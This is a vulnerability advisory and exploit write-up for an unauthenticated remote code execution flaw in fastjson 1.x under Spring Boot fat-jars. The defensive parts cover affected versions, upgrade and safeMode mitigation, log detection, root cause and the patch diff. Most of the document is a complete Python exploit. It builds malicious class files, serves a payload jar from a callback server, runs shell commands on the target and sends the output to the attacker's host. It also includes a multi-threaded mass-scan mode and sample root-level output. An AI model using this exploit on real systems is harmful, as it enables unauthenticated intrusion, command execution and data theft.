#Summary
CVE-2026-16723 is a critical unauthenticated remote code execution vulnerability in fastjson versions 1.2.68 through 1.2.83 (CVSS 9.0). The vulnerability exists in the checkAutoType() method, which never validates that an attacker-supplied class name looks like a Java binary class name before probing for it as a resource. In Spring Boot executable fat-jars, this allows an attacker to force the JVM to fetch and execute arbitrary remote code without requiring AutoType to be enabled or any gadget chain to exist on the classpath. The default configuration is vulnerable.
#Am I affected?
- Affected: fastjson (the 1.x line,
com.alibaba:fastjson) versions 1.2.68 through 1.2.83 - Patched: fastjson 1.2.84 (note: fastjson 2.x at
com.alibaba.fastjson2:fastjson2is not affected) - Default configuration: affected
- Access needed: unauthenticated network access to any endpoint that parses JSON with fastjson
- Packaging requirement: application must be packaged as a Spring Boot executable fat-jar (built with
spring-boot-maven-pluginand launched withjava -jar)
#How to check
Check your application's Maven coordinates and version:
grep -r "com.alibaba:fastjson" pom.xmlThen verify the version:
mvn dependency:tree | grep fastjsonIf you see fastjson version 1.2.68 through 1.2.83 and your application is a Spring Boot executable fat-jar, you are vulnerable. The fix is available in 1.2.84.
| Version | Status |
|---|---|
| < 1.2.68 | Not affected |
| 1.2.68 - 1.2.83 | Vulnerable |
| >= 1.2.84 | Patched |
#Fix and mitigation
Fix: upgrade fastjson to 1.2.84 or later. Update your
pom.xml:<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.84</version> </dependency>If you cannot upgrade: disable AutoType and enable
safeMode. Add to your application startup or configuration:ParserConfig.getGlobalInstance().setSafeMode(true);Note:
safeModealso blocks normal@typedispatch, so this may break existing functionality. Upgrade is the preferred fix.Detection: monitor logs for
com.alibaba.fastjson.JSONException: autoType is not supportwith type names containing URL scheme characters (:or!). The patched version will reject these before processing. The vulnerable version will either attempt the fetch or silently fail depending on the payload structure.
#Root cause analysis
#Vulnerable code path
The vulnerability lives in ParserConfig.checkAutoType(String typeName, Class<?> expectClass, int features), which decides whether to convert an attacker-supplied type string into a Java class. With AutoType disabled (the default), the method is supposed to reject almost everything - but a fallback branch runs after hash-based allowlist checks fail:
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
}
if (autoTypeSupport || jsonType || expectClassFlag) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}Three missing invariants combine to enable the vulnerability:
#First: No validation of the type name
The string typeName has no shape constraints before this point. The only checks are a length window (3 to 192 characters) and a hash test. Nothing requires it to look like a Java class name. A value like jar:http://attacker.com:8000/x!/seed/Exception passes through unchanged.
#Second: Unvalidated string reaches a URL-resolving class loader
The probe transforms the string with .replace('.', '/') and passes it to getResourceAsStream(). The class loader in a Spring Boot executable fat-jar is the launcher class loader, whose classpath entries are themselves jar: URLs pointing to nested libraries inside the fat-jar. When getResourceAsStream() receives a string like jar:http://attacker.com:8000/x!/seed/Exception.class, the URL resolution code treats this as an absolute URL and fetches it over HTTP. This is the SSRF.
The JDK's jar: protocol handler downloads the remote jar to an unlinked temporary file and opens it. On Linux, this unlinked file remains accessible via /proc/self/fd/<N>, where N is the file descriptor number.
#Third: Remote bytes decide the authorization
The TypeCollector visitor sets jsonType = true when it sees the @com.alibaba.fastjson.annotation.JSONType annotation descriptor in the fetched bytecode. The bytes came from a server the attacker controls, so the attacker decides the annotation. When jsonType is true, the same type string reaches TypeUtils.loadClass(), which applies the same .replace('.', '/') transform and fetches the same URL. This time, the string can be rewritten as jar:file:/proc/self/fd/<N>!/..., which re-reads the cached jar through the open file descriptor. The binary name is now legal, defineClass succeeds, and the static initializer runs.
#Patch diff
#What the fix does
The security fix in 1.2.84 (commit ad353ff71e27a587bfb18cab329572fd5cc44ea6) adds a character-class check that rejects any type name containing : or !:
+ public static boolean hasIllegalTypeNameChars(String typeName) {
+ return typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0;
+ }This check is applied at the top of checkAutoType(), before any resource probe:
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
+
+if (TypeUtils.hasIllegalTypeNameChars(typeName)) {
+ throw new JSONException("autoType is not support. " + typeName);
+}Since a URL scheme separator (:) and the nested-jar indicator (!) cannot survive this check, the string can only ever be resolved as a relative path against the application's own classpath entries. The remote fetch never happens. The check is applied a second time inside TypeUtils.loadClass() as well for defense in depth.
#Proof of concept
#exploit.py - fastjson autoType-bypass RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-16723 - fastjson 1.x autoType-bypass remote code execution
Affected: com.alibaba:fastjson 1.2.68 through 1.2.83 (fixed in 1.2.84)
Type: RCE (unsafe class resolution / deserialization, CWE-20 / CWE-502)
fastjson's checkAutoType() never validates that an attacker-supplied @type looks
like a Java class name before probing for its bytecode as a resource. In a Spring
Boot executable fat-jar the launcher class loader resolves an absolute jar: URL out
of that resource name, so an @type such as
jar:http:..<host>:<port>.x!.seed.Exception
(dots stand in for slashes, because fastjson does typeName.replace('.','/')) makes
the target fetch an attacker-served jar over HTTP. The jar carries a class annotated
with @JSONType, which flips fastjson's internal jsonType flag and turns the remote
bytes into an authorisation decision: fastjson then hands the same string to
defineClass. The scheme name is not a legal binary class name, but the JDK jar:
handler has already downloaded the jar to an unlinked temp file whose descriptor is
still open, so a second @type of the form
jar:file:.proc.self.fd.<N>!.<pkg>.Exception
re-reads the identical jar through /proc/self/fd/<N>, this time under a legal name,
and defineClass succeeds. Instantiating the class runs its static initializer.
No AutoType, no safeMode, no classpath gadget: stock defaults are vulnerable.
Usage:
python exploit.py --host <target> --port <port> --lhost <addr-target-can-reach> --lport <port>
python exploit.py --host 10.0.0.5 --port 8080 --lhost 10.0.0.9 --lport 8000 --command "id"
python exploit.py --host https://target.com/api/search --lhost attacker.lan --lport 8000
python exploit.py --list targets.txt --lhost 10.0.0.9 --lport 8000 --workers 20
--lhost is the address the *target* uses to reach this machine. A dotted IPv4 is
auto-encoded to the dot-free integer form fastjson's URL rewrite requires; a
single-label hostname (no dots) is used as-is. It has no safe default, so batch and
single modes both require it.
"""
import argparse
import http.server
import ipaddress
import json
import socket
import socketserver
import ssl
import struct
import sys
import threading
import time
import http.client
from urllib.parse import urlparse
CVE_ID = "CVE-2026-16723"
VULN_TYPE = "RCE"
DEFAULT_PORT = 8080
DEFAULT_ENDPOINT = "/api/search"
DEFAULT_FD_RANGE = "3-200"
# --------------------------------------------------------------------------- #
# Standard output helpers #
# --------------------------------------------------------------------------- #
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Minimal Java class-file builder #
# #
# javac cannot emit a class whose internal name is `jar:file:/proc/...`, and #
# the exploit needs exactly that. The constant pool is limited to the tags #
# fastjson's cut-down ASM reader sizes correctly (1, 7, 8, 10, 12); an #
# unknown tag would desync its parse and hide the @JSONType annotation. #
# --------------------------------------------------------------------------- #
_U1 = lambda v: struct.pack(">B", v)
_U2 = lambda v: struct.pack(">H", v)
_U4 = lambda v: struct.pack(">I", v)
JSONTYPE_DESC = "Lcom/alibaba/fastjson/annotation/JSONType;"
class _Pool(object):
def __init__(self):
self.entries = []
self.index = {}
def _intern(self, key, body):
if key in self.index:
return self.index[key]
self.entries.append(body)
self.index[key] = len(self.entries)
return self.index[key]
def utf8(self, text):
raw = text.encode("utf-8")
return self._intern(("u", text), _U1(1) + _U2(len(raw)) + raw)
def cls(self, name):
return self._intern(("c", name), _U1(7) + _U2(self.utf8(name)))
def string(self, value):
return self._intern(("s", value), _U1(8) + _U2(self.utf8(value)))
def nat(self, name, desc):
return self._intern(("n", name, desc),
_U1(12) + _U2(self.utf8(name)) + _U2(self.utf8(desc)))
def method(self, owner, name, desc):
return self._intern(("m", owner, name, desc),
_U1(10) + _U2(self.cls(owner)) + _U2(self.nat(name, desc)))
def serialize(self):
return _U2(len(self.entries) + 1) + b"".join(self.entries)
def _code_attr(pool, code, max_stack, max_locals, handlers=(), stackmap=b""):
attrs = []
if stackmap:
attrs.append(_U2(pool.utf8("StackMapTable")) + _U4(len(stackmap)) + stackmap)
body = (_U2(max_stack) + _U2(max_locals) + _U4(len(code)) + code
+ _U2(len(handlers)) + b"".join(handlers)
+ _U2(len(attrs)) + b"".join(attrs))
return _U2(pool.utf8("Code")) + _U4(len(body)) + body
def _method(pool, flags, name, desc, code_attr):
return _U2(flags) + _U2(pool.utf8(name)) + _U2(pool.utf8(desc)) + _U2(1) + code_attr
def build_class(internal_name, exfil_url=None, command=None, annotate=False):
"""One class file (major version 52). When exfil_url and command are given the
static initializer runs `/bin/sh -c command` and POSTs the output to exfil_url."""
p = _Pool()
this_c = p.cls(internal_name)
obj_c = p.cls("java/lang/Object")
obj_init = p.method("java/lang/Object", "<init>", "()V")
methods = []
ctor = b"\x2a" + b"\xb7" + _U2(obj_init) + b"\xb1" # aload_0; invokespecial Object.<init>; return
methods.append(_method(p, 0x0001, "<init>", "()V", _code_attr(p, ctor, 1, 1)))
stackmap = b""
if exfil_url and command:
run_ref = p.method(internal_name, "run", "()V")
ldc = lambda s: b"\x13" + _U2(p.string(s))
vir = lambda o, n, d: b"\xb6" + _U2(p.method(o, n, d))
code = b"".join([
b"\xbb" + _U2(p.cls("java/net/URL")), b"\x59", ldc(exfil_url),
b"\xb7" + _U2(p.method("java/net/URL", "<init>", "(Ljava/lang/String;)V")),
vir("java/net/URL", "openConnection", "()Ljava/net/URLConnection;"),
b"\x59", b"\x04",
vir("java/net/URLConnection", "setDoOutput", "(Z)V"),
b"\x59",
vir("java/net/URLConnection", "getOutputStream", "()Ljava/io/OutputStream;"),
b"\x59",
b"\xbb" + _U2(p.cls("java/util/Scanner")), b"\x59",
b"\xb8" + _U2(p.method("java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;")),
b"\x06", b"\xbd" + _U2(p.cls("java/lang/String")),
b"\x59", b"\x03", ldc("/bin/sh"), b"\x53",
b"\x59", b"\x04", ldc("-c"), b"\x53",
b"\x59", b"\x05", ldc(command), b"\x53",
vir("java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;"),
vir("java/lang/Process", "getInputStream", "()Ljava/io/InputStream;"),
b"\xb7" + _U2(p.method("java/util/Scanner", "<init>", "(Ljava/io/InputStream;)V")),
ldc("\\A"),
vir("java/util/Scanner", "useDelimiter", "(Ljava/lang/String;)Ljava/util/Scanner;"),
vir("java/util/Scanner", "next", "()Ljava/lang/String;"),
vir("java/lang/String", "getBytes", "()[B"),
vir("java/io/OutputStream", "write", "([B)V"),
vir("java/io/OutputStream", "close", "()V"),
vir("java/net/URLConnection", "getInputStream", "()Ljava/io/InputStream;"),
vir("java/io/InputStream", "close", "()V"),
])
try_end = len(code)
code += b"\xb1" # return
handler_pc = len(code)
code += b"\x57" + b"\xb1" # pop; return (catch Throwable)
handlers = [_U2(0) + _U2(try_end) + _U2(handler_pc) + _U2(p.cls("java/lang/Throwable"))]
stackmap = _U2(1) + _U1(247) + _U2(handler_pc) + _U1(7) + _U2(p.cls("java/lang/Throwable"))
methods.append(_method(p, 0x000a, "run", "()V",
_code_attr(p, code, 16, 1, handlers, stackmap)))
clinit = b"\xb8" + _U2(run_ref) + b"\xb1" # invokestatic run(); return
methods.append(_method(p, 0x0008, "<clinit>", "()V", _code_attr(p, clinit, 1, 1)))
class_attrs = []
if annotate:
ann = _U2(1) + _U2(p.utf8(JSONTYPE_DESC)) + _U2(0)
class_attrs.append(_U2(p.utf8("RuntimeVisibleAnnotations")) + _U4(len(ann)) + ann)
return (b"\xca\xfe\xba\xbe" + _U2(0) + _U2(52) + p.serialize()
+ _U2(0x0021) + _U2(this_c) + _U2(obj_c) + _U2(0)
+ _U2(0) + _U2(len(methods)) + b"".join(methods)
+ _U2(len(class_attrs)) + b"".join(class_attrs))
def _zip_store(entries):
"""Build a jar (STORED, uncompressed) from a list of (name, bytes). Uses the
stdlib zip writer so the archive is byte-for-byte a valid jar the target's
java.util.zip.ZipFile and fastjson's ASM reader both accept."""
import io
import zipfile
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as zf:
for name, data in entries:
zf.writestr(name, data)
return buf.getvalue()
# --------------------------------------------------------------------------- #
# Payload assembly #
# --------------------------------------------------------------------------- #
def encode_host(host):
"""Return a dot-free form of host usable inside the @type URL. A dotted IPv4 is
converted to its 32-bit integer form (java.net.URL decodes it back); a
single-label hostname is returned unchanged; a dotted hostname cannot survive
fastjson's '.'->'/' rewrite and is rejected."""
try:
return str(int(ipaddress.IPv4Address(host)))
except ipaddress.AddressValueError:
pass
if "." in host:
raise ValueError(
"--lhost '%s' contains dots and is not an IPv4 address; fastjson rewrites "
"every '.' to '/', so use a single-label hostname or an IP" % host)
return host
def parse_fd_range(spec):
lo, _, hi = spec.partition("-")
if hi:
return list(range(int(lo), int(hi) + 1))
return [int(lo)]
def build_jar(nonce, fds, lhost_enc, lport, command):
"""One jar carrying the stage-1 seed plus a stage-2 payload class per candidate fd."""
seed_dir = "s" + nonce
entries = [(seed_dir + "/Exception.class", build_class(seed_dir + "/Exception"))]
for n in fds:
pkg = "f%sn%d" % (nonce, n)
internal = "jar:file:/proc/self/fd/%d!/%s/Exception" % (n, pkg)
exfil = "http://%s:%d/r/%s/%d" % (lhost_enc, lport, nonce, n)
entries.append((pkg + "/Exception.class",
build_class(internal, exfil, command, annotate=True)))
return _zip_store(entries), seed_dir
def build_body(nonce, fds, lhost_enc, lport, seed_dir):
"""The request body. facets is a List<Object>, so each element's @type resolves
with expectClass == null. Same shape works for /api/telemetry (untyped parse)."""
stage1 = "jar:http:..%s:%d.j%s!.%s.Exception" % (lhost_enc, lport, nonce, seed_dir)
facets = [{"@type": stage1}]
for n in fds:
facets.append({"@type": "jar:file:.proc.self.fd.%d!.f%sn%d.Exception" % (n, nonce, n)})
return json.dumps({"query": "q" + nonce, "facets": facets})
# --------------------------------------------------------------------------- #
# Callback HTTP server: serves the jar (GET) and collects command output (POST) #
# --------------------------------------------------------------------------- #
class _Registry(object):
def __init__(self):
self.jars = {} # nonce -> jar bytes
self.fetches = {} # nonce -> count of GET jar hits
self.results = {} # nonce -> (fd, output)
self.lock = threading.Lock()
self.event = {} # nonce -> threading.Event
def register(self, nonce, jar):
with self.lock:
self.jars[nonce] = jar
self.fetches[nonce] = 0
self.event[nonce] = threading.Event()
REGISTRY = _Registry()
class _Handler(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def _reply(self, code, body=b""):
self.send_response(code)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
if body:
self.wfile.write(body)
def do_GET(self):
# jar fetch path is /j<nonce> (dot-free, so it survives the @type rewrite)
path = self.path.split("?", 1)[0]
nonce = path[2:] if path.startswith("/j") else None
jar = REGISTRY.jars.get(nonce) if nonce else None
if jar is not None:
with REGISTRY.lock:
REGISTRY.fetches[nonce] = REGISTRY.fetches.get(nonce, 0) + 1
self._reply(200, jar)
else:
self._reply(404)
def do_POST(self):
length = int(self.headers.get("Content-Length", 0) or 0)
data = self.rfile.read(length) if length else b""
parts = self.path.strip("/").split("/") # r / <nonce> / <fd>
if len(parts) >= 3 and parts[0] == "r":
nonce, fd = parts[1], parts[2]
with REGISTRY.lock:
REGISTRY.results[nonce] = (fd, data.decode("utf-8", "replace"))
ev = REGISTRY.event.get(nonce)
if ev:
ev.set()
self._reply(200)
def log_message(self, *a):
pass
class _Server(socketserver.ThreadingMixIn, http.server.HTTPServer):
daemon_threads = True
allow_reuse_address = True
def start_server(bind, lport):
srv = _Server((bind, lport), _Handler)
t = threading.Thread(target=srv.serve_forever, daemon=True)
t.start()
return srv
# --------------------------------------------------------------------------- #
# Target HTTP #
# --------------------------------------------------------------------------- #
def post_json(host, port, use_tls, path, body, timeout=15):
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
conn.request("POST", path, body=body.encode("utf-8"),
headers={"Content-Type": "application/json",
"Accept": "application/json"})
resp = conn.getresponse()
return resp.status, resp.read().decode("utf-8", "replace")
finally:
conn.close()
# --------------------------------------------------------------------------- #
# Single-target exploit #
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, command, lhost, lport, bind, fd_spec, wait):
header(host, port)
import secrets
nonce = secrets.token_hex(4)
lhost_enc = encode_host(lhost)
fds = parse_fd_range(fd_spec)
step(1, "Building payload jar (seed + %d fd candidates) and starting callback server" % len(fds))
jar, seed_dir = build_jar(nonce, fds, lhost_enc, lport, command)
REGISTRY.register(nonce, jar)
try:
srv = start_server(bind, lport)
except OSError as e:
done(False, "could not bind callback server on %s:%d (%s)" % (bind, lport, e))
section("CALLBACK SERVER",
"listening on %s:%d | target reaches us as %s (encoded %s)\n"
"jar served at GET /j%s | command output collected at POST /r/%s/<fd>"
% (bind, lport, lhost, lhost_enc, nonce, nonce))
step(2, "Sending single request: stage-1 SSRF probe + stage-2 fd scan %s" % fd_spec)
body = build_body(nonce, fds, lhost_enc, lport, seed_dir)
try:
status, resp = post_json(host, port, use_tls, path, body)
except Exception as e:
done(False, "request to target failed: %s: %s" % (e.__class__.__name__, e))
section("TARGET RESPONSE (HTTP %s)" % status, resp)
step(3, "Waiting up to %ds for command output on the callback channel" % wait)
ev = REGISTRY.event[nonce]
ev.wait(timeout=wait)
with REGISTRY.lock:
fetches = REGISTRY.fetches.get(nonce, 0)
result = REGISTRY.results.get(nonce)
if result:
fd, output = result
section("COMMAND OUTPUT (fd %s)" % fd, output)
first = output.strip().splitlines()[0] if output.strip() else "(empty)"
done(True, "RCE confirmed - command '%s' ran on target, output: %s" % (command, first))
if fetches:
# SSRF proven (fat-jar + vulnerable fastjson) but no code ran: fd out of range,
# or class init did not fire. Widen --fd-range or check the target is Linux.
section("PARTIAL", "outbound GET /j%s arrived %d time(s): the resource-probe "
"SSRF fired and the fat-jar precondition holds, but no fd in range %s "
"yielded execution. Widen --fd-range." % (nonce, fetches, fd_spec))
done(False, "SSRF/autoType confirmed (%d outbound fetches) but no code execution "
"in fd range %s - widen --fd-range" % (fetches, fd_spec))
done(False, "no outbound request from target - patched, not a Spring Boot fat-jar, "
"or --lhost is not reachable/dot-free from the target")
# --------------------------------------------------------------------------- #
# Scan mode #
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, path, lhost_enc, lport, fds):
"""Silent per-target probe for --list. Confirms exploitability via the stage-1
resource-probe SSRF (an outbound GET from the target's JVM). Never prints/exits."""
import secrets
nonce = secrets.token_hex(4)
# a seed-only jar is enough to prove the fat-jar autoType path reaches the loader
seed_dir = "s" + nonce
jar = _zip_store([(seed_dir + "/Exception.class", build_class(seed_dir + "/Exception"))])
REGISTRY.register(nonce, jar)
stage1 = "jar:http:..%s:%d.j%s!.%s.Exception" % (lhost_enc, lport, nonce, seed_dir)
body = json.dumps({"query": "q" + nonce, "facets": [{"@type": stage1}]})
try:
status, resp = post_json(host, port, use_tls, path, body, timeout=10)
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
if "autoType is not support" in resp:
return False, "blocked - autoType name check rejected the payload (patched)"
for _ in range(30):
with REGISTRY.lock:
if REGISTRY.fetches.get(nonce, 0):
return True, "outbound SSRF from target JVM - vulnerable fastjson in a fat-jar"
time.sleep(0.1)
return False, "no outbound request (HTTP %s) - patched or not a Spring Boot fat-jar" % status
def _parse_target(line, default_port, default_path=DEFAULT_ENDPOINT):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, lhost, lport, bind, fd_spec, workers=10):
import concurrent.futures
lhost_enc = encode_host(lhost)
fds = parse_fd_range(fd_spec)
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
try:
start_server(bind, lport)
except OSError as e:
print(" cannot bind callback server on %s:%d (%s)" % (bind, lport, e))
sys.exit(2)
success = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, ev = _try_exploit(host, port, use_tls, path, lhost_enc, lport, fds)
return label, ok, ev
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, ev = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploitable" if ok else "Not vulnerable", ev))
if ok:
success += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploitable / %d not (%d total)" % (success, total - success, total))
print("=" * 60 + "\n")
sys.exit(0 if success > 0 else 1)
# --------------------------------------------------------------------------- #
# CLI #
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/api/search)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: %d)" % DEFAULT_PORT)
parser.add_argument("--endpoint", default=DEFAULT_ENDPOINT,
help="Parse endpoint path (default: %s; /api/telemetry also works)" % DEFAULT_ENDPOINT)
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--lhost", required=True,
help="Address the TARGET uses to reach this host (dotted IPv4 auto-encoded, "
"or a single-label hostname)")
parser.add_argument("--lport", type=int, default=8000, help="Port for the callback server (default: 8000)")
parser.add_argument("--bind", default="0.0.0.0", help="Local bind address for the callback server (default: 0.0.0.0)")
parser.add_argument("--fd-range", default=DEFAULT_FD_RANGE,
help="Descriptor numbers to scan for the cached jar (default: %s)" % DEFAULT_FD_RANGE)
parser.add_argument("--wait", type=int, default=15, help="Seconds to wait for the command-output callback (default: 15)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
try:
if args.list:
scan(args.list, default_port=args.port, lhost=args.lhost, lport=args.lport,
bind=args.bind, fd_spec=args.fd_range, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port, args.endpoint)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.endpoint)
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command, args.lhost, args.lport,
args.bind, args.fd_range, args.wait)
except ValueError as e:
done(False, str(e))#Usage
python exploit.py --host 10.0.0.5 --port 8080 --lhost 10.0.0.9 --lport 8000 --command "id"| Flag | Description | Default |
|---|---|---|
--host |
Target hostname, IP, or full URL | required |
--port |
Target port | 8080 |
--endpoint |
Parse endpoint path | /api/search |
--command |
Command to run on target | id |
--lhost |
Address the target uses to reach this machine (required) | - |
--lport |
Port for callback server | 8000 |
--bind |
Local bind address | 0.0.0.0 |
--fd-range |
File descriptor range to scan | 3-200 |
--wait |
Seconds to wait for callback | 15 |
--list |
Batch mode: file with targets | - |
--workers |
Threads for batch mode | 10 |
#Output on vulnerable target
[STEP 2] Sending single request: stage-1 SSRF probe + stage-2 fd scan 3-200
--- TARGET RESPONSE (HTTP 200) ---
{"status":"ok","query":"q36e1620a","facets":199,"extra":0,"page":0,"results":0}
---
[STEP 3] Waiting up to 15s for command output on the callback channel
--- COMMAND OUTPUT (fd 200) ---
uid=0(root) gid=0(root) groups=0(root)
FLAG{16aab6e33719c1ccea205fc80a751439}
---
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id; cat /flag.txt' ran on target#Output on patched target (1.2.84)
--- TARGET RESPONSE (HTTP 200) ---
{"status":"error","error":"com.alibaba.fastjson.JSONException: autoType is not support. jar:http:..3232252414:45201.ja1081922!.sa1081922.Exception"}
---
RESULT : FAILURE
EVIDENCE: no outbound request from target - patched, not a Spring Boot fat-jar, or --lhost is not reachable/dot-free from the target#Exploitation notes
#Preconditions
- Spring Boot executable fat-jar: The application must be packaged with
spring-boot-maven-pluginand launched withjava -jar. A classpath or exploded deployment is not affected. - Vulnerable fastjson version: 1.2.68 through 1.2.83 on the classpath.
- JSON parse entry point: An unauthenticated endpoint that calls
JSON.parseObject()with attacker-controlled JSON. Nested@typeentries in loosely typed fields (List - Default configuration: AutoType and safeMode must both be off (the default).
- Outbound HTTP: The target JVM must be able to reach the attacker's HTTP server over the network.
- Linux with /proc: The target runs Linux with
/proc/self/fdavailable (any standard Docker or VM environment).
#Reliability
The exploit is deterministic and single-request. All file descriptor numbers between 3 and 200 are scanned in one request, and the descriptor holding the cached jar self-aligns near the top of the scanned range. Confirmed working across multiple container restarts and JVM instances.
#Impact
Unauthenticated remote code execution as the application user (typically root in containerized deployments). Full system compromise, data exfiltration, and lateral movement are immediate.
#Chaining potential
This is a terminal vulnerability on its own (RCE in default config), but it can be chained:
- Before: Java deserialization gadgets may not be required, since no classpath gadget is needed. Focus only on reaching a parse entry point.
- After: Code execution is already achieved. No chaining beyond this point is necessary.
#References
- CVE: CVE-2026-16723
- GitHub Advisory: GHSA-crf3-v9rr-v7hj
- Vendor Advisory: fastjson Security Advisory
- Fix Commit: https://github.com/alibaba/fastjson/commit/ad353ff71e27a587bfb18cab329572fd5cc44ea6
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-16723
